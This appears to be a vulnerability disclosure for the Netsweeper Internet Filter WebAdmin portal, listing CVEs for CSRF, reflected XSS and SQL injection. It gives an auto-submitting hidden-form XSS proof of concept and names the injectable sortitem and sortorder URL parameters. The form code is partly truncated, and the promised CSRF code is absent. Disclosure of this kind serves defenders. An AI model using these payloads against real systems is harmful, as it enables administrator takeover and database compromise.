# Date: Discovered and reported CSRF and XSS 4/2012 and "The later" 7/2012\
# Author: Jacob Holcomb/Gimppy042\
# Software Link: Netsweeper Inc. - Netsweeper Internet Filter (www.netsweeper.com)\
# CVE :
CVE-2012-2446 for the XSS issues, CVE-2012-2447 for the CSRF, and 
CVE-2012-3859 for the SQL Injection ("The later)
NOTE:

# "The later" was disclosed and reported to Netsweeper at a later date and will be posted as an addendum to this post and my posted disclosure report in the near future. "The later" vulnerability bears CVE-2012-3859.

CSRF Exploitation:

In the following example we use CSRF to forge a HTTP POST request that will create an administrator account. The user must be logged in for CSRF to work. Exploitation of a non-administrative users (Sys op) account results in creation of a standard user account.

XSS Exploitation:

The following POC code exploits a reflective XSS vulnerability using the HTTP POST method.

<body>

<form name="pwnd" action="http:// server.domain_name

<input type="hidden" name="group" value="><script>alert('XSS')</script>" />
<input type="hidden" name="policy" value="pwnd" />
<input type="hidden" name="url" value="pwnd" />

<script>
document.getElementById('pwnd').submit();
</script>

</body>


SQL Injection ("The later") Exploitation:

The Netsweeper Internet Filter WebAdmin Portal is vulnerable to SQL injection, in the sortorder and sortitem variables.

http://SERVER_Hostname/webadmin/reporter/view_details.php?sortitem= SQLi
none &sortorder=asc&type=demand&id=1441
or

http://SERVER_Hostname/webadmin/reporter/view_details.php?sortitem=report_date&sortorder= SQLi
none &type=demand&id=1441.
